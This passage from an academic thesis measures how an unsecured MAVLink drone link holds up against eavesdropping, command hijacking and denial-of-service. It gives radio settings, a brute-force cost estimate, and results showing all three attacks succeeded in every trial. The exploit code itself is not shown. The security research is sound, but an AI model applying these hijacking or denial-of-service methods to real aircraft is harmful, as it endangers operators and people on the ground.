Once the Steady State is achieved the Attack phase begins. The attacker transmits
an exploit corresponding to the factor level being studied. The PortaPow USB power
meter measurements (power metric) and Python script (Appendix F) are simultaneously
started with a 90-second clock as the attacker begins launching the exploit. The duration
of 90 seconds is chosen as the data-collection period because it factors in the RF signal
propagation delay at longer distances (for ﬁeld testing) during the slowest exploit (DoS) to
verify the UAV is unresponsive to authorized commands from the GCS[KR12].
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The Conclusion phase follows the 90-second, data-collection period, and all data-
collection is halted. Measurements of the PortaPow USB power meter and the MAVProxy
script are halted upon entering the Conclusion phase. Exploit success is determined in
three ways based upon which principle of the CIA security model was targeted. The
successful exploitation of conﬁdentiality results in the attacker obtaining telemetry from
the UAV or commands transmitted from the GCS based on eavesdropped communication.
The successful exploitation of integrity results in the UAV executing commands not sent
by the GCS or the GCS displaying incorrect GPS coordinates for the location of the UAV
(the latter is not tested in this research). The exploitation of availability is evident if the
UAV fails to execute commands from the GCS or becomes unresponsive due to malicious
activity performed by the attacker.
3.9.4 Validation Strategy
Live test-ﬂights are performed at an oﬃcial UAV airﬁeld to validate the UAV responses
and the behavior of the UADS under the baseline workload established in the laboratory.
3.10 Design
A full factorial design is selected to measure the relationships between all of the factors
deﬁned in Section 3.8. A total of two factors are selected with four and ﬁve levels for each
factor. A full factorial design requires 4 × 5 = 20 unique experiments. It is expected that
no more than ﬁve repetitions will be required, totaling 5 × 20 = 100 experiments. The
statistical conﬁdence level is 95%.
No cryptographic implementations are tested in this research because, although the
APM ﬁrmware and Mission Planner application function with an integrated cryptographic
solution, encrypted communication between the two is unsuccessful. For this reason, the
full factorial design is reduced in this research to just one (No Defense) and four levels (No
attack, Eavesdropping, Hijacking, and DoS) for each factor, resulting in 1 × 4 = 4 unique
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experiments. In this research, ﬁve replications of each exploit were conducted to establish
the mean for each metric, resulting in a total of 4 × 5 = 20 total experiments.
3.11 Chapter Summary
This chapter deﬁnes the methodology to (1) Assess the MAVLink protocol for
vulnerabilities to network attacks, (2) Identify a cryptographic method of securing the
MAVLink protocol, and (3) Quantify the cost of securing the MAVLink protocol. The
UADS provides both legitimateC 2 services for a UAV as well as protection against exploits
designed to compromise one or more principle of the CIA model in the UAS. This chapter
also deﬁnes the components, performance metrics, system and workload parameters, and
factors for this research. Chapter 5 presents the data analysis of the experiments described
in this chapter.
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IV. Experimental Conﬁguration
4.1 Introduction
This chapter provides the details of the hardware conﬁguration used to conduct the
experiments for this research, both in the ﬁeld and the laboratory. The ﬁeld experiments are
conducted to demonstrate the real-world eﬃcacy of attacks against the unsecuredMAVLink
protocol and validate the laboratory results. Performance measurements are only taken in
the laboratory.
This chapter speciﬁes the experimental conﬁguration of each of the parameters
outlined in Section 3.7.2. Section 4.2 details the airframe used for ﬁeld experiments.
Section 4.3 provides the 3DR radio conﬁguration settings used in both the ﬁeld and
laboratory experiments. Section 4.4 provides a brief explanation of the conﬁguration of
the APM used in the experiments. Section 4.5 discusses the conﬁguration settings of the
authorized GCS. Section 4.6 explains the conﬁguration settings of the attacker system.
Section 4.7 provides the conﬁguration settings of the system used strictly for monitoring
the data-link. Section 4.8 discusses the arrangement of the laboratory used to conduct the
experiments for performance analysis.
4.2 UAV
The APM 2.5 autopilot in this research is conﬁgured to enable automated navigation
in the Super Sky Surfer COTS SUAV manufactured by Banana Hobby in Irwindale,
California [Hob13]. The Super Sky Surfer (shown in Figure 4.1)has a wingspan of 94.5
inches, a length of 51.3 inches, and a weight of approximately 4.4 pounds without a
payload, and approximately 7.5 pounds with the power plant, autopilot, GPS module, 3DR
radio with 2 dBi antenna, FrSky DHT-U RC transmitter, FrSky D8R-II+ 2.4 GHz RC
receiver, and two 65-gram Nerf™ footballs [Hob13, Col13].
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Figure 4.1: Super Sky Surfer UAV
In the ﬁeld experiments, the autopilot is conﬁgured to control the ailerons with servos
1 and 2, the elevator with servo 3, the rudder with servo 4, (servos 5 and 6 are unused)
and the Nerf™ football “bomb-drop” with servos 7 and 8 [Col13]. The “bomb-drop” is
only included in the experiment to demonstrate the severity of operating a UAV with an
unsecured C 2 protocol.
In the laboratory experiments for this research, the autopilot is disconnected from all
servos and tested with only the 3DR radio and GPS module connected to facilitate easy
access for re-ﬂashing the APM 2.5 ﬁrmware. Since the focus of this research is analyzing
how securing the protocol aﬀects the data-link and power consumption, the airframe is
unnecessary for laboratory experiments.
4.3 Radios
The 3DR radios used in this research are conﬁgured in the 900 MHz frequency
authorized by the US FCC [FCC07]. There are 13 settings that can be modiﬁed on the 3DR
radio allowing for 3.3658669628669187588096 × 10 27 possible conﬁgurations. Table 4.1
provides the basis of calculating these combinations. Local restrictions on spectrum usage
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reduce the total number of possible conﬁgurations varying by region. In the US, the
FCC regulations eﬀectively reduce the total possible number of conﬁgurations down to
9.6031380754327928832 × 10 24 [FCC07]. Because the UAV radio and the GCS radio
only require 8 of the 13 parameters to match (of which, only 7 are modiﬁable from the
menu), the actual number of possible conﬁgurations an attacker would need to brute-force
is reduced to 2.426112 × 10 9.
Table 4.1: Possible Combinations of 3DR Radio Conﬁguration Settings
Parameter Possible Options
in Mission Planner
Possible Options
Under FCC
Restrictions
Most Likely No.
of Conﬁgurations
to Scan
Firmware Version 2 32 2 32 4
Air Speed 13 13 13
Net ID 500 500 100
Minimum Frequency 41 27 27
Maximum Frequency 41 27 27
No. of Channels 19 1 1
LBT RSSI 256 256 2
ECC 2 2 2
EEPROM Format 256 256 Optional
Serial Speed 9 9 Optional
Transmission Power 8 Total < 1W Optional
MAVLink
version 1.0
2 2 Optional
OPResend 2 2 Optional
Duty Cycling 100 100 Optional
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This number can be dramatically reduced by making a few reasonable assumptions
about the selected parameters:
• The ﬁrmware version used is most likely either the most current version, or possibly
one of the previous 3 versions (i.e., from SiK version 1.3 through 1.6 is only four
versions). This parameter would only change if all other conﬁguration setting
changes are exhausted using one ﬁrmware version.
• The Listen Before Talk (LBT) threshold of the Received Signal Strength Indicator
(RSSI) is probably selected from the default values of “0” or “25” oﬀered in the
Mission Planner drop-down menu, reducing this parameter to just two possibilities.
• The Net ID parameter chosen could be reduced from 500 to 100 “most likely”
Net IDs.
Making these parameter assumptions reduces the total number of conﬁgurations
to brute-force down to just 3,790,800. Despite this signiﬁcant reduction in possible
conﬁgurations, even using an array of the cheapest computers currently on the market
(the $35 Raspberry Pi [New13, Upt13]) to distribute the workload, a determined attacker
would incur a burdening ﬁnancial cost to discover the correct conﬁguration within a
reasonable time. For example, using Equation (4.1) it would cost $126,000 (cCost of Brute-Force)
for 6,318 Raspberry Pi systems (x) at $82 per 3DR-enabled Raspberry Pi (RPCost of RasPi)
[3DR13, New13] to brute-force all 3,790,800 conﬁguration settings (n) within 5 minutes
(tBrute-Force), changing a conﬁguration setting (sConﬁg Setting) twice each second (ΔtΔConﬁg =
0.5). At this price it may be more cost eﬀective for the attacker to bribe or social engineer
a UAV operator to obtain the conﬁguration settings.
$ cCost of Brute-Force =
(∏n
i=1 sConﬁg Settingi
xSystems
)
× ΔtΔConﬁg × tBrute-Force × RPCost of RasPi (4.1)
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The results drawn from Equation (4.1) led to the assumption in this research that the
operational conﬁguration settings have been acquired by the attacker through data theft,
social engineering, or some other method of acquisition (Section 2.10.1).
The 3DR radio conﬁguration settings provided in Table 4.2 are used in the laboratory
to minimize the resynchronization of the network monitor and potential interference of
other devices using the same frequency range. The baud, air speed, transmission power,
and number of channels are chosen to minimize the desynchronization that commonly
occurs when a radio is in listen-only mode (i.e., when the duty cycle is zero). The Net
ID is arbitrarily selected; as long the Net ID setting is identical on each radio, its value
is irrelevant to the experiment. The minimum and maximum frequency are selected in
compliance with FCC regulations [FCC07]. Since enabling a LBT RSSI greater than zero
would increase latency, the LBT RSSI is set to zero. The Error Correction Code (ECC)
setting is enabled to minimize the bit error rate of messages [And13]. The MAVLink v1.0
setting is enabled to maximize eﬃciency of the communications [And13]. The Op Resend
setting is enabled to automatically resend unacknowledged messages.
For the GCS the duty cycle setting is 100% because it is assumed the GCS and UAV
are the only devices communicating in the UAS. For the network monitor the duty cycle
is set to 0% (listen-only mode). During the eavesdropping exploit the duty cycle for the
attacker is set to zero (listen-only mode) to assure neither the GCS nor UAV would attain
awareness of the attacker exploiting the MAVLink protocol’s conﬁdentiality vulnerability.
During the hijacking and DoS exploits the duty cycle for the attacker is set to 100% to
maximize the eﬃcacy of the attacks (i.e., as the duty cycle setting decreases, so does the
likelihood of exploit success). Appendix D provides instructions illustrated in Figure 4.2
for conﬁguring the 3DR radios in the modiﬁed MAVProxy GCS on the attacker system
using the command: ./attackerGCS.py --master=/dev/ttyUSB0 --baudrate=57600 --
aircraft="testUAV" --setup
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Table 4.2: Selected 3DR Radio Conﬁguration Settings
Parameter UAV GCS Attacker Network Monitor
Firmware Version: SiK 1.6 on HM-TRP
Baud (bps): 57600 57600 57600 57600
Air Speed (kbps): 128 128 128 128
Net ID: 411 411 411 411
Tx Power (dBm): 20 20 20 20
Min Freq (kHz): 905000 905000 905000 905000
Max Freq (kHz): 910000 910000 910000 910000
Number of Channels: 2 2 2 2
LBT RSSI (dB): 0 0 0 0
ECC: Enabled Enabled Enabled Enabled
Mavlink v1.0: Enabled Enabled Enabled Enabled
Op Resend: Enabled Enabled Enabled Enabled
Duty Cycle (%): 100 100 0 - Eavesdropping 0
100 - Hijacking/DoS
4.4 Autopilot Conﬁguration
The UAV platform in this research runs the ArduPlane ﬁrmware on the APM 2.5
autopilot. On this system the source code for the mavlink helpers.h ﬁle [Tod12] used in
compiling the ArduPlane ﬁrmware is modiﬁed to include the functions needed to secure
the MAVLink protocol. The mavlink helpers.h ﬁle is modiﬁed using Notepad++ on the
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Figure 4.2: The 3DR radio conﬁguration in attackerGCS.py
GCS system (discussed in Section 4.5). The ArduPlane ﬁrmware is compiled and loaded
onto the autopilot using the custom ArduPilot Arduino Sketchpad version 1.0.3 application
provided by 3DR [FRB+12] on the GCS system. Instructions for preparing the GCS system
for the autopilot ﬁrmware development is provided in Appendix A.
The APM 2.5 communicates with the UAV through the standard 3DR 915 MHz “air”
module running stock ﬁrmware with an attached 2 dBi antenna.
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4.5 GCS Conﬁguration
The authorized GCS platform in this research is also used to develop the secured
version of Mission Planner and the ArduPlane ﬁrmware for the APM 2.5 that integrate a
cryptographic solution. On this system the source code for the MAVLink.cs ﬁle [Obo12a]
used in building the Mission Planner application is modiﬁed to include the functions
needed to secure the MAVLink protocol. The MAVLink.cs ﬁle is modiﬁed, and Mission
Planner solution is built, using Microsoft Visual Studio 12 software development suite.
Instructions for preparing the GCS system for development and UAS operation is provided
in Appendix B.
The GCS communicates with the UAV through the standard 3DR 915 MHz USB
“ground” module running stock ﬁrmware with an attached 2 dBi antenna.
4.6 Attacker Conﬁguration
The computer attacking the CIA of the UAV uses a modiﬁed version of the MAVProxy
command-line GCS script (Appendix G) that displays a time-stamp with each recorded
event and contains a function for each exploit. Because it is assumed the attacker would use
MAVProxy in Linux to exploit vulnerabilities in the MAVLink protocol, it is also assumed
that the attacker would not acquire the rebuilt Mission Planner executable binary ﬁle from
the authorized GCS for use or reverse-engineering. Also, because it is assumed the attacker
expects an unsecured protocol being used to operate the UAV, the MAVProxy script is not
modiﬁed to include any shared secret used by the authorized GCS and APM to enable
secure communication through a cryptographic implementation. Instructions to prepare
the attacker system for use in the experiments of this research are provided in Appendix C.
Like the authorized GCS, the attacker also communicates with the UAV through the
standard 3DR 915 MHz USB “ground” module running stock ﬁrmware with an attached
2 dBi antenna.
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4.7 Network Monitor Conﬁguration
The platform used to monitor the data-link uses the MAVProxy to record the telemetry
streamed from the UAV, and to record the commands transmitted by the authorized GCS
and attacker. This system does not run any modiﬁed software because it remains in “listen-
only” mode throughout the experiments. It runs a modiﬁed version of the MAVProxy
command-line GCS script that displays a time-stamp with each recorded event, and
Wireshark to capture all packets over the data-link for analysis. The modiﬁed portion of
MAVProxy is provided in Appendix G.
The Network Monitor receives all transmitted communication through the standard
3DR 915 MHz USB “ground” module running stock ﬁrmware with an attached 8 dBi
patch antenna to minimize data loss. A SMA female to SMA female adapter is required
to connect the 50Ω CFD200-E low loss coaxial cable to the 3DR 915 MHz USB “ground”
module.
4.8 Laboratory Layout
The layout of the laboratory illustrated in Figure 4.3 shows where each component
used in the experiments is placed to facilitate measurements. The autopilot is positioned
at the window to maximize GPS reception. The GCS and attacker systems are placed
20 feet from the autopilot to simplify latency calculations. The patch antenna attached to
the network monitor is positioned 24 feet away from the autopilot, four feet beyond the
GCS and attacker, to ensure reception of all messages transmitted over the data-link from
all devices while maintaining close proximity.
The DronesVision patch antenna has a 57◦ horizontal reception beam width [Dro14].
Placing this antenna four feet beyond the GCS and attacker systems, equidistant (4.5 feet)
from each of their 3DR antennae produces a horizontal reception beam approximately 54.5◦
wide, calculated in Equation (4.2). Thus, because the 54.5◦ reception angle ﬁts within
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Figure 4.3: Layout of Experimental Laboratory
the 57◦ horizontal reception beam width stated in the antenna speciﬁcations, placing the
patch antenna four feet beyond the GCS and attacker systems ensures it remains in close
proximity of the other systems while still receiving all traﬃc transmitted over the data-link.
horizontal reception beam-width = 2 arccos
(
4 feet
4.5 feet
)
= 54.53211114◦ (4.2)
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4.9 Measurement Event Sequence
Section 3.9.3 describes the speciﬁc timeline followed in the experiments. Each
replication of the experiments follow this sequence:
Step 1: Start Wireshark capture on the Network Monitor.
Step 2: Start MAVProxy script on the Network Monitor.
Step 3: Connect to UAV in Mission Planner on the GCS.
Step 4: Upload waypoints to UAV in Mission Planner on the GCS.
Step 5: Start MAVProxy on the attacker system.
Step 6: Start ExpScript.py Python script (Appendix F) in Mission Planner on the GCS to
emulate UAV operator.
Step 7: Launch exploit in modiﬁed MAVProxy on the attacker system.
Step 8: Begin measuring power consumption on PortaPow USB power monitor attached
to autopilot (recording current every 4 seconds).
Step 9: After two minutes of power consumption measurements, terminate modiﬁed
MAVProxy on the attacker system.
Step 10: Disconnect from UAV in Mission Planner on GCS.
Step 11: Terminate MAVProxy on the Network Monitor.
Step 12: Stop Wireshark capture on the Network Monitor.
This sequence allows the network monitor to capture all data-link traﬃc, allows the
GCS to connect to the UAV, and ensures the exploit occurs during the experimental Python
script on the GCS. Following these 12 steps reduces variability, ensuring each exploit is
repeated the same way and helps reveal potentially overlooked factors that may inﬂuence
results.
4.10 Conclusion
This chapter discussed the conﬁguration of the devices used in the experiments of this
research. An equation is provided to illustrate the mathematical infeasibility of discovering
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the data-link conﬁguration settings through brute-force attack. Finally, the event sequence
followed in each replication of the experiments is provided for use in future performance
analyses. Chapter 5 analyzes the data collected from the experiments performed using the
methodology in Chapter 3 and the conﬁguration settings from this chapter.
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V. Analysis
5.1 Chapter Overview
This chapter provides an analysis of the data collected from the experiments deﬁned
in Chapter 3 using the conﬁguration deﬁned in Chapter 4. Analysis of the data satisﬁes the
ﬁrst and third research goal, deﬁned in Section 3.1, by demonstrating the vulnerabilities of
the MAVLink protocol and establishing a baseline measurement for future comparison to
results from cryptographic implementations securing the protocol. Use of the results from
this research with the methodology proposed in Chapter 3 will satisfy the third research
goal of identifying a cryptographic method of securing the MAVLink protocol.
Section 5.2 brieﬂy discusses the tools used in the data analysis. Section 5.3 deﬁnes
the cost function used in this research to analyze the performance trade-oﬀs associated
with employing cryptography with respect to network latency and defense capability.
Section 5.4 discusses the results of the entering the collected data into the cost function.
Section 5.5 oﬀers further analysis of the data collected based on additional observations.
Section 5.6 applies the results from this research to a broader scope of securing the
communication between GCSs and UAVs. Section 5.7 summarizes the analysis and results.
5.2 Analysis Tools
Wireshark is used to capture and analyze packets transmitted over the data-link. A
modiﬁed version of the MAVProxy command-line GCS script is used to collect the data
used to measure the network latency (see Appendix C). Additionally, the pymavlink library
contains several tools useful for data analysis. Mavloss.py from pymavlink is used to collect
the signal loss of received telemetry, and output from mavlogdump.py is used to verify the
network latency recorded from the modiﬁed MAVProxy script. Instructions for using these
pymavlink tools are provided in Appendix E.
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5.3 Cost Function
The cost function deﬁned in this section combines the three distinct metrics of exploit
success, power consumption, and network latency measured in this research into a single,
scalar output. By returning a single scalar output, results from each cryptographic solution
can be compared to determine the optimal implementation for securing the MAVLink
protocol.
5.3.1 Cost Function Deﬁnition
UAS operators generally want a minimal response time of the UAV responding
to commands from the GCS. An unsecured protocol (i.e., lacking authentication and
encryption) provides the minimum response time for functional UAS operations. However,
the trade-oﬀ of security for availability inherently reduces the safety of UAS operations
because the UAS is vulnerable to attacks over an unsecured protocol. To enhance safety
while maintaining availability and minimizing response time, UAS operators want to
minimize the cost of securing the vulnerable protocol. Therefore, a cost function is a real
function f resulting in an output f(x) for which an optimal x minimizes f(x) [Hag12].
5.3.2 Cost Function Parameters
Three parameters make up the input of the cost function: the diﬀerence in power
consumption of an APM operating an unsecured C 2 protocol during no attack and during
an attack, the diﬀerence in latency of the communication between the GCS and UAV using
an unsecured C 2 protocol during no attack and during an attack, and the sum of the security
principles compromised under the cryptographic solution. Each parameter of the cost
function is measured in cost units. A cost unit is intentionally left undeﬁned because it
is meant to be replaced with a meaningful unit when applied to a ﬁelded system (e.g.,
dollars, metric of mission assurance, etc.).
The security cost of system conﬁdentiality, integrity, or availability being compro-
mised is deﬁned as sC, sI, and sA in cost units, all of which are grouped in the set of security
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principles sP. The cost of power consumption (Δw) is deﬁned as the diﬀerence in power
consumption of an autopilot operating over the unsecured MAVLink protocol while not
under attack and the autopilot operating while under attack, multiplied by the established
cost units. Network latency (l) is deﬁned as the total elapsed time in seconds (sec) from
a command being entered on the attacker or GCS system, to the autopilot’s acknowledg-
ment of the command being received on that system. The cost of network latency (Δl) is
deﬁned as the diﬀerence in seconds of latency of an autopilot operating over the unsecured
MAVLink protocol while not under attack and the latency of that autopilot operating while
under attack, multiplied by the established cost units/seconds. Each parameter of the cost
function is summarized in Table 5.1.
Table 5.1: Cost Parameters
Parameter Description Units
cCrypto Cost of using a cryptographic solution to secure the
protocol
cost units
sC Cost of conﬁdentiality being compromised cost units
sI Cost of losing integrity being compromised cost units
sA Cost of availability being compromised cost units
sP Cost of security principles (sC, sI, or sA) being
compromised
cost units
Δw Cost of the diﬀerence in power consumption from
an unsecured protocol
w × cost unitswatts
Δl Cost of the diﬀerence in network latency from an
unsecured protocol
l × cost unitssec
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5.3.3 Generalized Cost Function
Using the aforementioned deﬁnitions, Equation (5.1) presents the general cost
function where the cost of implementing a cryptographic solution of securing theMAVLink
Protocol (cCrypto) is the sum of the diﬀerence in power consumption, the diﬀerence
in network latency, and each principle of the CIA model compromised under the
cryptographic solution used.
cCrypto = Δw + Δl +
∑
P⊂CIA
sP (5.1)
5.4 Evaluations
The data collected from this research provides a baseline for comparing the security
capability, power consumption, and network latency of a UAS using an unsecured
MAVLink protocol with that of future work on a secured MAVLink protocol using
cryptographic implementations. Although future replications of these experiments may
produce diﬀerent measured results, those diﬀerences are expected to be minimal.
5.4.1 Security Evaluation
The experiments performed in this research demonstrate that the MAVLink protocol
is vulnerable to attacks against CIA. Table 5.2 documents the exploitation results of the
experiments. The “scan” routine of attackerGCS.py (Appendix G) tests the vulnerability
of the conﬁdentiality of MAVLink messages by attempting to “sniﬀ” the telemetry from
the UAV and commands from the GCS. The “hijack” routine tests the vulnerability of
the integrity of MAVLink messages by attempting to inject unauthorized commands to the
UAV and detecting the response on the GCS. The “dos” routine tests the vulnerability
of the availability of the UAV by transmitting the “loiter” command to the UAV every
second in an inﬁnite loop and detecting the response on the GCS. Each of the exploits are
successful each time against the unprotected MAVLink protocol.
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Table 5.2: Security Principle Exploitation Success (success/total attempts)
Factor Level No Security Cost
None NA NA
Eavesdropping 5/5 1
Hijacking 5/5 1
Denial-of-Service 5/5 1
The security evaluation of the unsecured MAVLink protocol produces a sum cost
of 3 units because it is unable to protect against attacks on conﬁdentiality, integrity, or
availability.
5.4.2 Power Consumption Evaluation
Table 5.3 provides the baseline average power consumption of the autopilot during
the experiments performed in this research. Because this research did not test any
cryptographic implementations, the measured results of power consumption in watts
are equivalent to the evaluated cost. Future work will compare the measured power
consumption under a cryptographic implementation to the power consumption of the
unsecured MAVLink protocol, and the diﬀerence will be multiplied by the established cost
units to determine the impact of power consumption on the cost of securing the protocol.
The measured power consumption when there is no attack performed (Factor
level: None) is expected to be similar to the power consumption during an attack on
conﬁdentiality (Factor level: Eavesdropping) because the attacker system is in listen-
only mode which will not aﬀect the autopilot from which measurements are taken. The
measured power consumption during an attack on integrity (Factor level: Hijacking) may
be higher because the attacker system is transmitting commands, along with the GCS,
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Table 5.3: Average Power Consumption (watts)
Factor Level No Security 95% Conﬁdence Interval (CI) Cost
None 0.8870 watts [0.8792, 0.8948] NA
Eavesdropping 0.8750 watts [0.8658, 0.8841] 0 units
Hijacking 0.8814 watts [0.8717, 0.8911] 0 units
Denial-of-Service 0.8974 watts [0.8884, 0.9065] 0 units
thereby requiring more processing on the autopilot from which measurements are taken.
The measured power consumption during an attack on availability (Factor level: Denial-of-
Service) is expected to be the highest of the four measurements because the attacker system
is sending a command every second, thereby requiring constant, additional processing
on the autopilot from which measurements are taken. However, because the resulting p-
value of 0.08479 from a two-tailed t-test comparison with None, the diﬀerence in power
consumption is statistically insigniﬁcant, thus incurring no additional cost.
5.4.3 Network Latency Evaluation
The measurements of average network latency during each attack is provided in
Table 5.4. The latency value varies greatly depending on the range of the autopilot from
the system used for measurements, and on the conﬁguration settings selected on the 3DR
radios. The results from this experiment are based on a stationary autopilot positioned
20 feet from the attacker and GCS, and the conﬁguration settings provided in Table 4.2.
Because this research did not test any cryptographic implementations, the measured
results of network latency in seconds are equivalent to the evaluated cost. Future work
will compare the measured network latency under a cryptographic implementation to the
network latency of the unsecured MAVLink protocol, and the diﬀerence will be multiplied
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by the established cost units to determine the impact of network latency on the cost of
securing the protocol.
Table 5.4: Average Network Latency (seconds)
Factor Level No Security 95% CI Cost
None 0.29 sec [0.208, 0.376] NA
Eavesdropping 0.22 sec [0.158, 0.283] 0 units
Hijacking 0.29 sec [0.224, 0.360] 0 units
Denial-of-Service 0.40 sec [0.361, 0.437] 0.11 units
The measured average network latency when there is no attack performed (Factor
level: None) is expected to be similar to the network latency during an attack on
conﬁdentiality (Factor level: Eavesdropping) because the attacker system is in listen-
only mode which will not aﬀect the autopilot from which measurements are taken. The
measured network latency during an attack on integrity (Factor level: Hijacking) is similar
because the attacker system is periodically transmitting commands, along with the GCS,
occasionally requiring more processing on the autopilot which end up being distributed
over the testing duration.
The measured network latency during an attack on availability (Factor level: Denial-
of-Service) is the highest of the four measurements, and based on the resulting p-value
of 0.01084255 from a two-tailed t-test comparison with None, the diﬀerence is statistically
signiﬁcant, warranting the additional cost. This observation is likely caused by the autopilot
responding to the attacker system sending a command every second, thereby processing
what is eﬀectively an interrupt signal and delaying the periodic tasks processed each cycle,
resulting in the autopilot being less responsive to commands from the GCS. The network
68
latency metric under the Denial-of-Service attack is dependent on the command used to
deny availability. In this research, the simple command “loiter” was transmitted by the
attacker every second. Had the command “reboot” been transmitted every second, the
latency would likely increase as a result of the autopilot failing to respond to commands
during the reboot sequence.
5.4.4 Cost Evaluation
This research does not test any cryptographic solutions in the experiments performed.
Based on measurements of the unsecured MAVLink protocol as input for the cost function
from Equation (5.1), Table 5.5 provides the computed cost of using the unsecured
MAVLink protocol in a UAS. The cost function is additive so the result of measuring
the power consumption, network latency, and exploitation success in cost units is summed
in Equation (5.2) to obtain the cost of using the unsecured MAVLink protocol under each
diﬀerent attack.
cUnsecured =
(
0 watts × 1 cost unit
watts
)
+
(
0.11sec × 1 cost unit
sec
)
+
∑
P⊂CIA
sP = 0.11+3 cost units
(5.2)
Table 5.5: Cost of Using Unsecured MAVLink Protocol (cost units)
Factor Level Cost of No Security (cost units)
None NA
Eavesdropping 1
Hijacking 1
Denial-of-Service 1.11
Total Cost 3.11
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It is expected that implementing cryptography to secure the MAVLink protocol (e.g.,
NaCl, AES-GCM, Rabbit stream cipher) will reduce the overall cost, since the value of
the security cost input in the cost function is expected to decrease with respect to the
measurements provided here for the unsecured MAVLink protocol.
5.5 Additional Observations
There are a few notable observations from the data analysis that may merit further
investigation regarding their impact on the cost of securing the MAVLink protocol. These
observations are drawn from tools provided in the pymavlink library. The average packet
size and throughput are measured using the Wireshark packet captures, and the packet loss
is analyzed using the mavloss.py tool against the telemetry logs.
5.5.1 Packet Size
The average packet size during each attack is annotated in Table 5.6. The packet
size is expected to increase with a cryptographic implementation to secure the MAVLink
protocol. The network load measurement in Millions of bits per second (Mbps) (Table 5.8)
is directly related to the packet size, which means under a cryptographic implementation
fewer devices will be able to share the data-link.
Network load is omitted from this research because only one autopilot and one GCS
are used in the UAS. As more devices are added to the UAS (e.g, a mesh network to control
multiple UAVs), the signiﬁcance of the network load factor increases, thereby aﬀecting the
cost of the cryptographic solution being measured.
Based on the average packet size measurements in Table 5.6, it appears the Hijacking
and DoS attacks generate slightly larger packets than Eavesdropping and No attack. The
resulting p-values from a two-sided t-test comparing the means packet size of each attack
with the mean packet size of no attack (Table 5.7) suggest there is a statistically signiﬁcant
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Table 5.6: Average Packet Size Using Unsecured MAVLink Protocol
Factor Level Average Packet Size (bytes) 95% CI
None 65.2840 [65.2459, 65.3001]
Eavesdropping 65.2824 [65.2315, 65.3084]
Hijacking 65.3568 [65.3410, 65.4009]
Denial-of-Service 65.3833 [65.3317, 65.4071]
diﬀerence in the average packet sizes between the Hijacking and DoS attacks compared
with No attack.
Table 5.7: p-Values for Comparing Average Packet Sizes
Comparison Null Hypothesis
Two-tailed t-Test
Hypothesis Result
p-Value
None:Eavesdropping No Diﬀerence in Means 0.95835 Accepted
None:Hijacking No Diﬀerence in Means 0.00277 Rejected
None:DoS No Diﬀerence in Means 0.01463 Rejected
Table 5.8 shows the average network load during each attack. Although there appears
to be more traﬃc during the Eavesdropping and DoS attacks, the resulting p-values from
a two-sided t-test comparing the mean network loads of each attack with the mean of no
attack suggests there is no statistically signiﬁcant diﬀerence in the average network loads.
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Table 5.8: Average Network Load Using Unsecured MAVLink Protocol
Factor Level Mbps bytes/sec packets/sec
None 1.0508 131356 2012
95% CI [1.0505, 1.0512] [131307, 131404] [2011, 2013]
Eavesdropping 1.1574 144685 2216
95% CI [0.8581, 1.4569] [107263, 182108] [1644, 2789]
Hijacking 1.0521 131516 2012
95% CI [1.0511, 1.0532] [131388, 131646] [2011, 2013]
Denial-of-Service 1.1011 137642 2106
95% CI [0.9660, 1.2363] [120747, 154538] [1846, 2365]
The null hypothesis tested in each comparison illustrated in Table 5.9 is there is no
diﬀerence in mean network load of compared attacks. The resulting p-value results in
accepting the null hypothesis for each comparison.
The commands transmitted from the GCS and attacker systems directly aﬀect the
packet size and packets/sec measurements because some commands result in signiﬁcantly
larger packet sizes (e.g., “load waypoints”). This observation is evident in the throughput
measurement during the Hijacking attack where the “wp save” (i.e., “save waypoints”)
and “wp load” (i.e., “load waypoint”) commands are used. These commands result in
a noticeably lower throughput measured in packets/sec because the packet sizes during
those commands are signiﬁcantly larger than the typical messages. However, despite the
throughput measurements being noticeably lower for the Hijacking attack, this diﬀerence
is statistically insigniﬁcant (as indicated by the p-values in Table 5.9).
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Table 5.9: p-values for Comparing Average Network Loads
Measurement Attack Comparison Two-tailed t-Test p-Value
bytes/sec
None:Eavesdropping 0.2245
None:Hijacking 0.1840
None:DoS 0.2008
packets/sec
None:Eavesdropping 0.3779
None:Hijacking 0.6528
None:DoS 0.3739
5.5.2 Packet Loss
The loss of packets originating from the UAV measured from the telemetry logs on the
GCS, attacker, and network monitor during each attack shown in Table 5.10 varies between
systems. The diﬀerence in packet loss between the GCS and the attacker systems is almost
inversely proportionate, as is the diﬀerence between the GCS and network monitor systems.
As illustrated in Figure 5.1, during the No Exploit and Eavesdropping tests the GCS
receives nearly all of the packets transmitted by the autopilot. The network monitor and
attacker systems appear to only receive a very small percentage of the packets transmitted
by the autopilot. The reason for this disparity is suspected to be the radio synchronization
performed depending on the duty cycle conﬁguration setting.
The duty cycle setting of the 3DR conﬁguration for the attacker and network monitor
systems is set to zero during the No Exploit and Eavesdropping tests. The duty cycle
is then set to 100% on the attacker system for the Hijacking and Denial-of-Service tests,
whereas the duty cycle setting remains set to zero on the network monitor for all tests.
The measurements reﬂect a decrease in packet loss as the duty cycle increases on the
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Table 5.10: Average Packet Loss Using Unsecured MAVLink Protocol (%)
Factor Level GCS Attacker Network Monitor
None 0.22 Not Measured 87.06
95% CI [0.12, 0.32] [86.51, 87.61]
Eavesdropping 0.16 88.28 88.48
95% CI [0.09, 0.23] [86.13, 90.43] [86.13, 90.43]
Hijacking 14.00 75.70 87.70
95% CI [8.49, 19.51] [73.00, 78.40] [86.03, 88.37]
Denial-of-Service 20.02 65.40 88.92
95% CI [16.02, 24.02] [27.63, 100] [87.75, 90.09]
Figure 5.1: Percentage of Packets Received Using the Unsecured MAVLink Protocol
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device receiving telemetry. Although the packet loss decreases on the attacker system,
and increases on the GCS, when the duty cycle on the attacker system is set to 100%,
there remains a statistically signiﬁcant diﬀerence in average packet loss between the two
systems. Again, the cause of this diﬀerence is suspected to be the synchronization of radios
performed during the connection and communication between the GCS and APM 2.5;
however, it may also be caused by diﬀerences in the GCS used on each system (i.e., Mission
Planner used on the GCS, and MAVProxy used on the attacker system). Table 5.11 depicts
the p-value from two-sided t-tests comparing each system to each other system during
each attack. Each comparison resulting in a p-value < 0.05 indicates there is a statistically
signiﬁcant diﬀerence in average packet loss measured on each system during the attack.
Table 5.11: p-Values from t-Test Comparisons of Average Packet Loss
System Comparison No Exploit Eavesdropping Hijacking DoS
GCS:Attacker Not Measured 3.59x10−8 2.91x10−9 0.029446
Attacker:Network Monitor Not Measured 0.87551 4.6x10−6 0.15901
Network Monitor:GCS 1.69x10−10 3.52x10−6 3.52x10−6 9.3x10−8
Depending on future UAS application, it may become necessary to include packet
loss as a relevant factor in other cost evaluations of securing the MAVLink protocol. This
